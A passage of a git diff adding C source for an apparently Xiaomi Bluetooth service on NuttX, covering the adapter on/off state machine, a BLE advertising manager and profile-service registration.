sm, uint32_t event, void* p_data); +static bool ble_turning_on_process_event(state_machine_t* sm, uint32_t event, void* p_data); +static bool ble_on_process_event(state_machine_t* sm, uint32_t event, void* p_data); +static bool turning_on_process_event(state_machine_t* sm, uint32_t event, void* p_data); +static bool on_state_process_event(state_machine_t* sm, uint32_t event, void* p_data); +static bool turning_off_process_event(state_machine_t* sm, uint32_t event, void* p_data); +static bool ble_turning_off_process_event(state_machine_t* sm, uint32_t event, void* p_data); + +static void turning_off_safe_timeout_callback(service_timer_t* timer, void* data); + +static const state_t off_state = { + .state_name = "Off", + .state_value = BT_ADAPTER_STATE_OFF, + .enter = off_enter, + .exit = off_exit, + .process_event = off_process_event, +}; + +static const state_t ble_turning_on_state = { + .state_name = "BleTurningOn", + .state_value = BT_ADAPTER_STATE_BLE_TURNING_ON, + .enter = ble_turning_on_enter, + .exit = ble_turning_on_exit, + .process_event = ble_turning_on_process_event, +}; + +static const state_t ble_on_state = { + .state_name = "BleOn", + .state_value = BT_ADAPTER_STATE_BLE_ON, + .enter = ble_on_enter, + .exit = ble_on_exit, + .process_event = ble_on_process_event, +}; + +static const state_t turning_on_state = { + .state_name = "TurningOn", + .state_value = BT_ADAPTER_STATE_TURNING_ON, + .enter = turning_on_enter, + .exit = turning_on_exit, + .process_event = turning_on_process_event, +}; + +static const state_t on_state = { + .state_name = "On", + .state_value = BT_ADAPTER_STATE_ON, + .enter = on_state_enter, + .exit = on_state_exit, + .process_event = on_state_process_event, +}; + +static const state_t turning_off_state = { + .state_name = "TurningOff", + .state_value = BT_ADAPTER_STATE_TURNING_OFF, + .enter = turning_off_enter, + .exit = turning_off_exit, + .process_event = turning_off_process_event, +}; + +static const state_t ble_turning_off_state = { + .state_name = "BleTurningOff", + .state_value = BT_ADAPTER_STATE_BLE_TURNING_OFF, + .enter = ble_turning_off_enter, + .exit = ble_turning_off_exit, + .process_event = ble_turning_off_process_event, +}; + +typedef struct adapter_state_machine { + state_machine_t sm; + bool ble_enabled; + bool pending_turn_on; + bool a2dp_offloading; + bool hfp_offloading; + bool lea_offloading; + bool turning_off_safe; + service_timer_t* disable_safe_timer; +} adapter_state_machine_t; + +#define ADPATER_STM_DEBUG 1 +#if ADPATER_STM_DEBUG + +#ifdef CONFIG_BLUETOOTH_SERVICE_LOG_LEVEL +static const char* event_to_string(uint16_t event) +{ + switch (event) { + CASE_RETURN_STR(SYS_TURN_ON) + CASE_RETURN_STR(SYS_TURN_OFF) + CASE_RETURN_STR(SYS_TURN_OFF_SAFE) + CASE_RETURN_STR(SYS_TURN_OFF_SAFE_TIMEOUT) + CASE_RETURN_STR(TURN_ON_BLE) + CASE_RETURN_STR(TURN_OFF_BLE) + CASE_RETURN_STR(BREDR_ENABLED) + CASE_RETURN_STR(BREDR_DISABLED) + CASE_RETURN_STR(BREDR_PROFILE_ENABLED) + CASE_RETURN_STR(BREDR_PROFILE_DISABLED) + CASE_RETURN_STR(BREDR_ENABLE_TIMEOUT) + CASE_RETURN_STR(BREDR_DISABLE_TIMEOUT) + CASE_RETURN_STR(BREDR_ENABLE_PROFILE_TIMEOUT) + CASE_RETURN_STR(BREDR_DISABLE_PROFILE_TIMEOUT) + CASE_RETURN_STR(BREDR_ACL_ALL_DISCONNECTED) + CASE_RETURN_STR(BLE_ENABLED) + CASE_RETURN_STR(BLE_DISABLED) + CASE_RETURN_STR(BLE_PROFILE_ENABLED) + CASE_RETURN_STR(BLE_PROFILE_DISABLED) + CASE_RETURN_STR(BLE_ENABLE_TIMEOUT) + CASE_RETURN_STR(BLE_DISABLE_TIMEOUT) + CASE_RETURN_STR(BLE_ENABLE_PROFILE_TIMEOUT) + CASE_RETURN_STR(BLE_DISABLE_PROFILE_TIMEOUT) + default: + return "unknown"; + } +} +#endif + +#define ADAPTER_DBG_ENTER(__sm) \ + BT_LOGD("Enter, PrevState=%s ---> NewState=%s", \ + hsm_get_state_name(hsm_get_previous_state(__sm)), \ + hsm_get_current_state_name(__sm)) + +#define ADAPTER_DBG_EXIT(__sm) \ + BT_LOGD("Exit, State=%s", hsm_get_current_state_name(__sm)) + +#define ADAPTER_DBG_EVENT(__sm, __event) \ + BT_LOGD("Process, State=%s, Event=%s", hsm_get_current_state_name(__sm), event_to_string(__event)) +#else +#define ADAPTER_DBG_ENTER(__sm) +#define ADAPTER_DBG_EXIT(__sm) +#define ADAPTER_DBG_EVENT(__sm, __event) +#endif + +static bool a2dp_is_offloading(void) +{ +#if defined(CONFIG_KVDB) && defined(__NuttX__) + return property_get_bool("persist.bluetooth.a2dp.offloading", false); +#else + return false; +#endif +} + +static bool hfp_is_offloading(void) +{ +#if defined(CONFIG_KVDB) && defined(__NuttX__) + return property_get_bool("persist.bluetooth.hfp.offloading", false); +#else + return false; +#endif +} + +static bool lea_is_offloading(void) +{ +#if defined(CONFIG_KVDB) && defined(__NuttX__) + return property_get_bool("persist.bluetooth.lea.offloading", false); +#else + return false; +#endif +} + +static void off_enter(state_machine_t* sm) +{ + adapter_state_machine_t* stm = (adapter_state_machine_t*)sm; + ADAPTER_DBG_ENTER(sm); + + stm->ble_enabled = false; + stm->pending_turn_on = false; + const state_t* prev = hsm_get_previous_state(sm); + if (prev) { + adapter_notify_state_change(hsm_get_state_value(prev), BT_ADAPTER_STATE_OFF); + } else { + stm->a2dp_offloading = a2dp_is_offloading(); + stm->hfp_offloading = hfp_is_offloading(); + stm->lea_offloading = lea_is_offloading(); + } +} + +static void off_exit(state_machine_t* sm) +{ + ADAPTER_DBG_EXIT(sm); +} + +static void adapter_notify_media_offloading(adapter_state_machine_t* stm) +{ + profile_msg_t msg; + + msg.event = PROFILE_EVT_A2DP_OFFLOADING; + msg.data.valuebool = stm->a2dp_offloading; + service_manager_processmsg(&msg); + + msg.event = PROFILE_EVT_HFP_OFFLOADING; + msg.data.valuebool = stm->hfp_offloading; + service_manager_processmsg(&msg); + + msg.event = PROFILE_EVT_LEA_OFFLOADING; + msg.data.valuebool = stm->lea_offloading; + service_manager_processmsg(&msg); +} + +static bool off_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + adapter_state_machine_t* stm = (adapter_state_machine_t*)sm; + ADAPTER_DBG_EVENT(sm, event); + + switch (event) { + case SYS_TURN_ON: + adapter_notify_media_offloading(stm); + if (!adapter_is_support_le()) { + hsm_transition_to(sm, &turning_on_state); + break; + } + if (adapter_is_support_bredr()) + stm->pending_turn_on = true; + case TURN_ON_BLE: + hsm_transition_to(sm, &ble_turning_on_state); + break; + default: + return false; + } + + return true; +} + +static void ble_turning_on_enter(state_machine_t* sm) +{ + ADAPTER_DBG_ENTER(sm); +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + bt_status_t status = bt_sal_le_enable(PRIMARY_ADAPTER); + if (status == BT_STATUS_SUCCESS) + adapter_notify_state_change(BT_ADAPTER_STATE_OFF, BT_ADAPTER_STATE_BLE_TURNING_ON); + else + BT_DFX_OPEN_ERROR(BT_DFXE_LE_ENABLE_FAIL); +#else + BT_LOGE("Not supported"); +#endif +} + +static void ble_turning_on_exit(state_machine_t* sm) +{ + ADAPTER_DBG_EXIT(sm); +} + +static bool ble_turning_on_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + ADAPTER_DBG_EVENT(sm, event); + + switch (event) { + case BLE_ENABLED: + /* LE profile service startup */ + service_manager_startup(BT_TRANSPORT_BLE); + break; + case BLE_PROFILE_ENABLED: + hsm_transition_to(sm, &ble_on_state); + break; + case BLE_ENABLE_TIMEOUT: + case BLE_ENABLE_PROFILE_TIMEOUT: + break; + default: + return false; + } + + return true; +} + +static void ble_on_enter(state_machine_t* sm) +{ + adapter_state_machine_t* stm = (adapter_state_machine_t*)sm; + ADAPTER_DBG_ENTER(sm); + + const state_t* prev = hsm_get_previous_state(sm); + adapter_notify_state_change(hsm_get_state_value(prev), BT_ADAPTER_STATE_BLE_ON); + stm->ble_enabled = true; + adapter_on_le_enabled(stm->pending_turn_on); + stm->pending_turn_on = false; +} + +static void ble_on_exit(state_machine_t* sm) +{ + ADAPTER_DBG_EXIT(sm); +} + +static bool ble_on_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + ADAPTER_DBG_EVENT(sm, event); + + switch (event) { + case SYS_TURN_ON: + hsm_transition_to(sm, &turning_on_state); + break; + case SYS_TURN_OFF: + case TURN_OFF_BLE: + hsm_transition_to(sm, &ble_turning_off_state); + break; + default: + return false; + } + + return true; +} + +static void turning_on_enter(state_machine_t* sm) +{ + ADAPTER_DBG_ENTER(sm); + bt_status_t status = bt_sal_enable(PRIMARY_ADAPTER); + if (status == BT_STATUS_SUCCESS) { + const state_t* prev = hsm_get_previous_state(sm); + adapter_notify_state_change(hsm_get_state_value(prev), BT_ADAPTER_STATE_TURNING_ON); + } else { + BT_DFX_OPEN_ERROR(BT_DFXE_BR_ENABLE_FAIL); + } +} + +static void turning_on_exit(state_machine_t* sm) +{ + ADAPTER_DBG_EXIT(sm); +} + +static bool turning_on_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + ADAPTER_DBG_EVENT(sm, event); + + switch (event) { + case BREDR_ENABLED: + /* BREDR profile service startup */ + service_manager_startup(BT_TRANSPORT_BREDR); + break; + case BREDR_PROFILE_ENABLED: + hsm_transition_to(sm, &on_state); + break; + case BREDR_ENABLE_TIMEOUT: + case BREDR_ENABLE_PROFILE_TIMEOUT: + break; + default: + return false; + } + + return true; +} + +static void on_state_enter(state_machine_t* sm) +{ + ADAPTER_DBG_ENTER(sm); + const state_t* prev = hsm_get_previous_state(sm); + adapter_on_br_enabled(); + adapter_notify_state_change(hsm_get_state_value(prev), BT_ADAPTER_STATE_ON); + +#if defined(CONFIG_BLUETOOTH_A2DP) || defined(CONFIG_BLUETOOTH_LE_AUDIO_SUPPORT) || defined(CONFIG_BLUETOOTH_HFP_HF) || defined(CONFIG_BLUETOOTH_HFP_AG) + adapter_state_machine_t* stm = (adapter_state_machine_t*)sm; + bt_media_set_a2dp_offloading(stm->a2dp_offloading); + bt_media_set_hfp_offloading(stm->hfp_offloading); + bt_media_set_lea_offloading(stm->lea_offloading); +#endif +} + +static void on_state_exit(state_machine_t* sm) +{ + ADAPTER_DBG_EXIT(sm); +} + +static bool on_state_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + adapter_state_machine_t* stm = (adapter_state_machine_t*)sm; + ADAPTER_DBG_EVENT(sm, event); + + switch (event) { + case SYS_TURN_OFF: + hsm_transition_to(sm, &turning_off_state); + break; + case SYS_TURN_OFF_SAFE: + stm->turning_off_safe = true; + + adapter_disconnect_safe(); + + stm->disable_safe_timer = service_loop_timer(DISABLE_SAFE_TIMEOUT, 0, + turning_off_safe_timeout_callback, (void*)sm); + break; + case BREDR_ACL_ALL_DISCONNECTED: + case SYS_TURN_OFF_SAFE_TIMEOUT: + if (stm->turning_off_safe) + hsm_transition_to(sm, &turning_off_state); + break; + default: + return false; + } + + return true; +} + +static void turning_off_enter(state_machine_t* sm) +{ + adapter_state_machine_t* stm = (adapter_state_machine_t*)sm; + ADAPTER_DBG_ENTER(sm); + + stm->turning_off_safe = false; + + /* Cancel the timer in safe disable mode */ + service_loop_cancel_timer(stm->disable_safe_timer); + stm->disable_safe_timer = NULL; + + /* profile service shotdown */ + service_manager_shutdown(BT_TRANSPORT_BREDR); + adapter_notify_state_change(BT_ADAPTER_STATE_ON, BT_ADAPTER_STATE_TURNING_OFF); +} + +static void turning_off_exit(state_machine_t* sm) +{ + ADAPTER_DBG_EXIT(sm); + adapter_on_br_disabled(); +} + +static bool turning_off_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + ADAPTER_DBG_EVENT(sm, event); + + switch (event) { + case BREDR_PROFILE_DISABLED: + bt_sal_disable(PRIMARY_ADAPTER); + break; + case BREDR_DISABLED: + if (adapter_is_support_le()) { + hsm_transition_to(sm, &ble_turning_off_state); + break; + } + hsm_transition_to(sm, &off_state); + break; + case BREDR_DISABLE_TIMEOUT: + case BREDR_DISABLE_PROFILE_TIMEOUT: + break; + default: + return false; + } + + return true; +} + +static void ble_turning_off_enter(state_machine_t* sm) +{ + ADAPTER_DBG_ENTER(sm); +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + /* LE profile service shotdown */ + service_manager_shutdown(BT_TRANSPORT_BLE); + adapter_on_le_disabled(); + const state_t* prev = hsm_get_previous_state(sm); + adapter_notify_state_change(hsm_get_state_value(prev), BT_ADAPTER_STATE_BLE_TURNING_OFF); +#else + +#endif +} + +static void ble_turning_off_exit(state_machine_t* sm) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + adapter_state_machine_t* stm = (adapter_state_machine_t*)sm; + ADAPTER_DBG_EXIT(sm); + stm->ble_enabled = false; +#endif +} + +static bool ble_turning_off_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + ADAPTER_DBG_EVENT(sm, event); + + switch (event) { + case BLE_PROFILE_DISABLED: +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + bt_sal_le_disable(PRIMARY_ADAPTER); +#endif + break; + case BLE_DISABLED: + hsm_transition_to(sm, &off_state); + break; + case BLE_DISABLE_TIMEOUT: + case BLE_DISABLE_PROFILE_TIMEOUT: + break; + default: + return false; + } + + return true; +} + +static void turning_off_safe_timeout_callback(service_timer_t* timer, void* data) +{ + send_to_state_machine((state_machine_t*)data, SYS_TURN_OFF_SAFE_TIMEOUT, NULL); +} + +adapter_state_machine_t* adapter_state_machine_new(void* context) +{ + adapter_state_machine_t* stm = malloc(sizeof(adapter_state_machine_t)); + if (!stm) + return NULL; + + memset(stm, 0, sizeof(adapter_state_machine_t)); + hsm_ctor(&stm->sm, &off_state); + + return stm; +} + +void adapter_state_machine_destory(adapter_state_machine_t* stm) +{ + if (!stm) + return; + + hsm_dtor(&stm->sm); + free((void*)stm); +} diff --git a/service/src/advertising.c b/service/src/advertising.c new file mode 100644 index 0000000000000000000000000000000000000000..312f52f7ac5ee775b368c3eca23889bd5b9bb845 --- /dev/null +++ b/service/src/advertising.c @@ -0,0 +1,393 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "adver" + +#include <stdlib.h> +#include <string.h> + +#include "adapter_internel.h" +#include "advertising.h" +#include "bluetooth.h" +#include "bt_list.h" +#include "index_allocator.h" +#include "sal_interface.h" +#include "sal_le_advertise_interface.h" +#include "service_loop.h" +#include "utils/log.h" + +#ifndef CONFIG_BLUETOOTH_LE_ADVERTISER_MAX_NUM +#define CONFIG_BLUETOOTH_LE_ADVERTISER_MAX_NUM 2 +#endif + +typedef struct { + uint8_t* adv_data; + uint16_t adv_len; + uint8_t* scan_rsp_data; + uint16_t scan_rsp_len; + ble_adv_params_t params; +} advertising_info_t; + +typedef struct advertiser { + struct list_node adver_node; + void* remote; + uint8_t adv_id; + advertiser_callback_t callbacks; + service_timer_t* adv_start; +} advertiser_t; + +typedef struct { + bool started; + index_allocator_t* adv_allocator; + struct list_node advertiser_list; +} adv_manager_t; + +typedef struct { + advertiser_t* adver; + uint8_t adv_id; + advertising_info_t* adv_info; + uint8_t state; +} adv_event_t; + +static adv_manager_t adv_manager; + +static void* get_adver(advertiser_t* adver) +{ + return adver->remote ? adver->remote : adver; +} + +static void advertiser_info_free(advertising_info_t* adv_info) +{ + if (adv_info) { + if (adv_info->adv_data) + free(adv_info->adv_data); + if (adv_info->scan_rsp_data) + free(adv_info->scan_rsp_data); + free(adv_info); + } +} + +static advertising_info_t* advertiser_info_copy(ble_adv_params_t* params, + uint8_t* adv_data, + uint16_t adv_len, + uint8_t* scan_rsp_data, + uint16_t scan_rsp_len) +{ + advertising_info_t* adv_info = calloc(1, sizeof(advertising_info_t)); + if (!adv_info) + goto fail; + + if (adv_len && adv_data) { + adv_info->adv_data = malloc(adv_len); + if (!adv_info->adv_data) + goto fail; + memcpy(adv_info->adv_data, adv_data, adv_len); + adv_info->adv_len = adv_len; + } + + if (scan_rsp_len && scan_rsp_data) { + adv_info->scan_rsp_data = malloc(scan_rsp_len); + if (!adv_info->scan_rsp_data) + goto fail; + memcpy(adv_info->scan_rsp_data, scan_rsp_data, scan_rsp_len); + adv_info->scan_rsp_len = scan_rsp_len; + } + memcpy(&adv_info->params, params, sizeof(ble_adv_params_t)); + + return adv_info; +fail: + advertiser_info_free(adv_info); + return NULL; +} + +static advertiser_t* alloc_new_advertiser(void* remote, const advertiser_callback_t* cbs) +{ + advertiser_t* adver = malloc(sizeof(advertiser_t)); + if (!adver) + return NULL; + + adver->remote = remote; + adver->adv_id = 0; + adver->adv_start = NULL; + memcpy(&adver->callbacks, cbs, sizeof(advertiser_callback_t)); + + return adver; +} + +static void destroy_advertiser(advertiser_t* adver) +{ + if (adver->adv_id) + index_free(adv_manager.adv_allocator, adver->adv_id - 1); + free(adver); +} + +static void delete_advertiser(advertiser_t* adver) +{ + service_loop_cancel_timer(adver->adv_start); + adver->adv_start = NULL; + list_delete(&adver->adver_node); +} + +static bool is_advertiser_exist(advertiser_t* adver) +{ + struct list_node* node; + + list_for_every(&adv_manager.advertiser_list, node) + { + if ((advertiser_t*)node == adver) + return true; + } + + return false; +} + +static advertiser_t* get_advertiser_if_exist(uint8_t adv_id) +{ + struct list_node* node; + + list_for_every(&adv_manager.advertiser_list, node) + { + advertiser_t* adver = (advertiser_t*)node; + if (adver->adv_id == adv_id) + return adver; + } + + return NULL; +} + +static void start_advertising_timeout(service_timer_t* timer, void* userdata) +{ + advertiser_t* adver = (advertiser_t*)userdata; + + if (!is_advertiser_exist(adver)) { + BT_LOGE("%s, timer expeared, adver not found", __func__); + return; + } + + delete_advertiser(adver); + adver->callbacks.on_advertising_start(get_adver(adver), 0, BT_ADV_STATUS_START_TIMEOUT); + destroy_advertiser(adver); +} + +static void advertiser_start_event(void* data) +{ + assert(data); + adv_event_t* start = (adv_event_t*)data; + advertiser_t* adver = start->adver; + advertising_info_t* adv_info = start->adv_info; + int adv_id; + + free(start); + if (!adv_manager.started) + return; + + adv_id = index_alloc(adv_manager.adv_allocator); + if (adv_id < 0) { + adver->callbacks.on_advertising_start(get_adver(adver), 0, BT_ADV_STATUS_START_NOMEM); + goto fail; + } + + adver->adv_id = adv_id + 1; + if (bt_sal_le_start_adv(PRIMARY_ADAPTER, adver->adv_id, &adv_info->params, adv_info->adv_data, + adv_info->adv_len, adv_info->scan_rsp_data, + adv_info->scan_rsp_len) + != BT_STATUS_SUCCESS) { + adver->callbacks.on_advertising_start(get_adver(adver), 0, BT_ADV_STATUS_STACK_ERR); + goto fail; + } + + list_add_tail(&adv_manager.advertiser_list, &adver->adver_node); + advertiser_info_free(adv_info); + adver->adv_start = service_loop_timer_no_repeating(1000, start_advertising_timeout, adver); + + return; +fail: + destroy_advertiser(adver); + advertiser_info_free(adv_info); +} + +static void advertiser_stop_event(void* data) +{ + assert(data); + adv_event_t* stop = (adv_event_t*)data; + advertiser_t* adver = stop->adver; + uint8_t adv_id = stop->adv_id; + + free(stop); + if (!adv_manager.started) + return; + + if (adver) { + if (!is_advertiser_exist(adver)) { + BT_LOGD("%s, advertiser: %p not exist", __func__, adver); + return; + } + } else { + adver = get_advertiser_if_exist(adv_id); + if (!adver) { + BT_LOGD("%s, adver_id: %d not exist", __func__, adv_id); + return; + } + } + + bt_sal_le_stop_adv(PRIMARY_ADAPTER, adver->adv_id); +} + +static void advertiser_notify_state(void* data) +{ + adv_event_t* advstate = (adv_event_t*)data; + advertiser_t* adver; + + if (!adv_manager.started) { + goto exit; + } + + adver = get_advertiser_if_exist(advstate->adv_id); + if (!adver) { + goto exit; + } + + if (advstate->state == LE_ADVERTISING_STARTED) { + service_loop_cancel_timer(adver->adv_start); + adver->adv_start = NULL; + adver->callbacks.on_advertising_start(get_adver(adver), advstate->adv_id, BT_ADV_STATUS_SUCCESS); + } else if (advstate->state == LE_ADVERTISING_STOPPED) { + delete_advertiser(adver); + adver->callbacks.on_advertising_stopped(get_adver(adver), advstate->adv_id); + destroy_advertiser(adver); + } + +exit: + free(advstate); +} + +static void advertisers_cleanup(void* data) +{ + struct list_node* node; + struct list_node* tmp; + + if (!adv_manager.started) + return; + + list_for_every_safe(&adv_manager.advertiser_list, node, tmp) + { + advertiser_t* adver = (advertiser_t*)node; + bt_sal_le_stop_adv(PRIMARY_ADAPTER, adver->adv_id); + delete_advertiser(adver); + adver->callbacks.on_advertising_stopped(get_adver(adver), adver->adv_id); + destroy_advertiser(adver); + } + + list_delete(&adv_manager.advertiser_list); + index_allocator_delete(&adv_manager.adv_allocator); + adv_manager.started = false; +} + +void advertising_on_state_changed(uint8_t adv_id, uint8_t state) +{ + adv_event_t* advstate = malloc(sizeof(adv_event_t)); + + if (!advstate) { + BT_LOGE("adv_id: %d state malloc failed", adv_id); + return; + } + + advstate->adv_id = adv_id; + advstate->state = state; + do_in_service_loop(advertiser_notify_state, advstate); +} + +bt_advertiser_t* start_advertising(void* remote, + ble_adv_params_t* params, + uint8_t* adv_data, + uint16_t adv_len, + uint8_t* scan_rsp_data, + uint16_t scan_rsp_len, + const advertiser_callback_t* cbs) +{ + if (!adapter_is_le_enabled()) + return NULL; + + advertiser_t* adver = alloc_new_advertiser(remote, cbs); + if (!adver) + return NULL; + + adv_event_t* start = malloc(sizeof(adv_event_t)); + if (!start) { + destroy_advertiser(adver); + return NULL; + } + + start->adver = adver; + start->adv_info = advertiser_info_copy(params, adv_data, adv_len, + scan_rsp_data, scan_rsp_len); + do_in_service_loop(advertiser_start_event, start); + + return (bt_advertiser_t*)adver; +} + +void stop_advertising(bt_advertiser_t* adver) +{ + if (!adapter_is_le_enabled()) + return; + + adv_event_t* stop = malloc(sizeof(adv_event_t)); + if (!stop) + return; + + stop->adver = (advertiser_t*)adver; + do_in_service_loop(advertiser_stop_event, stop); +} + +void stop_advertising_id(uint8_t adv_id) +{ + if (!adapter_is_le_enabled()) + return; + + adv_event_t* stop = malloc(sizeof(adv_event_t)); + if (!stop) + return; + + stop->adver = NULL; + stop->adv_id = adv_id; + do_in_service_loop(advertiser_stop_event, stop); +} + +bool advertising_is_supported(void) +{ +#ifdef CONFIG_BLUETOOTH_BLE_ADV + return true; +#endif + return false; +} + +/** release remote related resources when client detaches */ +void advertising_on_remote_detached(void* remote) +{ +} + +void adv_manager_init(void) +{ + memset(&adv_manager, 0, sizeof(adv_manager)); + adv_manager.adv_allocator = index_allocator_create(CONFIG_BLUETOOTH_LE_ADVERTISER_MAX_NUM); + assert(adv_manager.adv_allocator); + list_initialize(&adv_manager.advertiser_list); + adv_manager.started = true; +} + +void adv_manager_cleanup(void) +{ + advertisers_cleanup(NULL); +} diff --git a/service/src/advertising.h b/service/src/advertising.h new file mode 100644 index 0000000000000000000000000000000000000000..8cf43176b82a78823c7bec375841fa8664056af2 --- /dev/null +++ b/service/src/advertising.h @@ -0,0 +1,42 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_ADVERTISING_H_ +#define __BT_ADVERTISING_H_ + +#include <stdint.h> + +#include "bt_le_advertiser.h" + +enum advertising_state { + LE_ADVERTISING_STARTED = 0, + LE_ADVERTISING_STOPPED +}; + +void advertising_on_state_changed(uint8_t adv_id, uint8_t state); +bt_advertiser_t* start_advertising(void* remote, + ble_adv_params_t* params, + uint8_t* adv_data, + uint16_t adv_len, + uint8_t* scan_rsp_data, + uint16_t scan_rsp_len, + const advertiser_callback_t* cbs); +void stop_advertising(bt_advertiser_t* adver); +void stop_advertising_id(uint8_t adv_id); +bool advertising_is_supported(void); +void adv_manager_init(void); +void adv_manager_cleanup(void); + +#endif /* __BT_ADVERTISING_H_ */ \ No newline at end of file diff --git a/service/src/btservice.c b/service/src/btservice.c new file mode 100644 index 0000000000000000000000000000000000000000..42b5a78bbcf4bd2b2448b990bf7dec5205fcd816 --- /dev/null +++ b/service/src/btservice.c @@ -0,0 +1,280 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include "adapter_internel.h" +#include "manager_service.h" +#include "service_loop.h" +#include "stack_manager.h" +#include "state_machine.h" +#include "storage.h" + +#ifdef CONFIG_BLUETOOTH_HFP_HF +#include "hfp_hf_service.h" +#endif +#ifdef CONFIG_BLUETOOTH_HFP_AG +#include "hfp_ag_service.h" +#endif +#ifdef CONFIG_BLUETOOTH_GATT_CLIENT +#include "gattc_service.h" +#endif +#ifdef CONFIG_BLUETOOTH_GATT_SERVER +#include "gatts_service.h" +#endif +#ifdef CONFIG_BLUETOOTH_SPP +#include "spp_service.h" +#endif +#ifdef CONFIG_BLUETOOTH_HID_DEVICE +#include "hid_device_service.h" +#endif +#ifdef CONFIG_BLUETOOTH_PAN +#include "pan_service.h" +#endif + +#ifdef CONFIG_BLUETOOTH_LEAUDIO_SERVER +#include "lea_server_service.h" +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_MCP +#include "lea_mcp_service.h" +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_CCP +#include "lea_ccp_service.h" +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_VMICS +#include "lea_vmics_service.h" +#endif + +#ifdef CONFIG_BLUETOOTH_LEAUDIO_CLIENT +#include "lea_client_service.h" +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_MCS +#include "lea_mcs_service.h" +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_TBS +#include "lea_tbs_service.h" +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_VMICP +#include "lea_vmicp_service.h" +#endif + +#ifdef CONFIG_BLUETOOTH_A2DP_SINK +#include "a2dp_sink_service.h" +#endif + +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE +#include "a2dp_source_service.h" +#endif + +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET +#include "avrcp_target_service.h" +#endif + +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL +#include "avrcp_control_service.h" +#endif + +#define LOG_TAG "bt_service" +#include "utils/log.h" + +#define MISC_PATH "/data/misc" +#define BT_FOLDER_PATH MISC_PATH "/" \ + "bt" + +typedef struct { + uint16_t profile_id; + uint16_t event_id; + void* data; +} service_msg_t; + +typedef struct { + state_machine_t* sm; + uint16_t event_id; + void* data; +} state_maechine_msg_t; + +void bt_profile_init(void) +{ +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + register_a2dp_sink_service(); +#endif + +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + register_a2dp_source_service(); +#endif + +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET + register_avrcp_target_service(); +#endif + +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + register_avrcp_control_service(); +#endif + +#ifdef CONFIG_BLUETOOTH_HFP_HF + register_hfp_hf_service(); +#endif + +#ifdef CONFIG_BLUETOOTH_HFP_AG + register_hfp_ag_service(); +#endif + +#ifdef CONFIG_BLUETOOTH_SPP + register_spp_service(); +#endif + +#ifdef CONFIG_BLUETOOTH_HID_DEVICE + register_hid_device_service(); +#endif + +#ifdef CONFIG_BLUETOOTH_PAN + register_pan_service(); +#endif + +#ifdef CONFIG_BLUETOOTH_GATT_CLIENT + register_gattc_service(); +#endif +#ifdef CONFIG_BLUETOOTH_GATT_SERVER + register_gatts_service(); +#endif + +#ifdef CONFIG_BLUETOOTH_LEAUDIO_SERVER + register_lea_server_service(); +#endif + +#ifdef CONFIG_BLUETOOTH_LEAUDIO_MCP + register_lea_mcp_service(); +#endif + +#ifdef CONFIG_BLUETOOTH_LEAUDIO_CCP + register_lea_ccp_service(); +#endif + +#ifdef CONFIG_BLUETOOTH_LEAUDIO_VMICS + register_lea_vmics_service(); +#endif + +#ifdef CONFIG_BLUETOOTH_LEAUDIO_CLIENT + register_lea_client_service(); +#endif + +#ifdef CONFIG_BLUETOOTH_LEAUDIO_MCS + register_lea_mcs_service(); +#endif + +#ifdef CONFIG_BLUETOOTH_LEAUDIO_TBS + register_lea_tbs_service(); +#endif + +#ifdef CONFIG_BLUETOOTH_LEAUDIO_VMICP + register_lea_vmicp_service(); +#endif +} + +static int create_bt_folder(void) +{ + int ret = 0; + + if (mkdir(MISC_PATH, 0777) == -1 && errno != EEXIST) { + ret = -1; + syslog(LOG_ERR, MISC_PATH " folder create fail, errno: %d\n", errno); + goto out; + } + + if (mkdir(BT_FOLDER_PATH, 0777) == -1 && errno != EEXIST) { + ret = -1; + syslog(LOG_ERR, BT_FOLDER_PATH " folder create fail, errno: %d\n", errno); + goto out; + } + +out: + syslog(LOG_INFO, 